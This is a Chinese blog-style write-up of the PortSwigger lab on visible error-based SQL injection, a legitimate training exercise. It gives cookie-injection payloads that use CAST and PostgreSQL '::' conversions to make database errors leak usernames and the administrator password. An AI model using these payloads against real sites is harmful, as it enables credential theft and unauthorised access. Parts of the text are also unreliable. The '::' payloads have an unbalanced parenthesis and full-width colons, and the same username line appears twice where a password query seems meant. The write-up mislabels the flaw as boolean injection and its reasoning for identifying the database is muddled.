Portswigger靶场之Visible error-based SQL injection通关秘籍
一、分析题目
提示告诉我们：该靶场存在一个 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析，并执行包含所提交 cookie 值的 SQL 查询，但 SQL 查询的结果并未被返回。该数据库中有一个名为“用户”的不同表格，其中包含“用户名”和“密码”两列。要完成这个实验，需要找到一种方法泄露管理员用户的密码，然后登录他们的账户。
二、判断类型
1、判断注入类型
首先，我们尝试输入一个单引号时报错，输入两个单引号时页面显示正常，可以判断为布尔注入
2、判断数据库类型
接下来我们通过下面语句
'||(select version())||'
可以排除他不是Oracle（它不认识 version() 函数）和Microsoft SQL Server（它不认识 ||）数据库
接下来通过以下语句报错，可以说明他是PostgreSQL数据库
'||(select @@version)||'
三、进行注入
首先，通过以下代码说明确实有username这一列
TrackingId=Uadq1mfzxchQIzk5'||(select username from users limit 1)||'
'||(select password from users where username ='administrator' limit 1)||'
上面输入查询密码的语句出现以下报错：
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = ‘Uadq1mfzxchQIzk5’||(select password from users where usernam’. Expected char
是因为我们的注入语句因为超出了应用程序允许的最大字符长度限制，没有被完整地传递给后端数据库。
既然问题是总长度超限，那么缩短注入语句的长度就是一个直接有效的解决方案。Uadq1mfzxchQIzk5这部分字符串是原始查询的一部分，通常是一个会话ID或跟踪Cookie的值。在注入时，这部分内容对于我们来说是没有意义的“噪音”，只是为了满足原始查询的格式。我们可以通过将其删除或替换为更短的字符，为真正想执行的恶意查询（即 ||(select ...) 部分）腾出更多的空间，使其能够被完整地发送到数据库执行。
删掉ID是为了解决长度限制的问题，但是仍然报错，是因为数据类型不匹配。此时我们引入 CAST 函数，CAST 函数是SQl通用的一个函数，用于将一个值从一种数据类型转换为另一种数据类型。这个函数可以用于转换数值、日期、时间以及字符串数据类型。
'and 1=cast((select 1)as int)--+
当然，我们也可以使用 PostgreSQL 特有的 :: 快捷语法达成相同效果
=' and 1=(select 1)::integer --
1、通用方法（cast）：
接下来我们开始找帐号和密码，我们通过一下语句不是为了让查询正常返回，而是为了故意引发一个数据库错误，进而观察Web应用是否返回了数据库的详细错误信息，来判断 users 表和 username 列、password列是否存在。
'and 1=cast((select username from users limit 1)as int)--+
'and 1=cast((select password from users limit 1)as int)--+
2、PostgreSQL特有方法（：：）：
我们也可以通过下列语句达到相同效果
'and 1=(select username from users limit 1)：：int)--+
'and 1=(select username from users limit 1)：：int)--+
四、成功通关
拿到帐号密码后，登陆即通关
学习参考：归去来兮-zangcc 【送书活动第2期】打靶Portswigger系列—— 一口气通关18个SQL注入靶场详细流程（文末送书）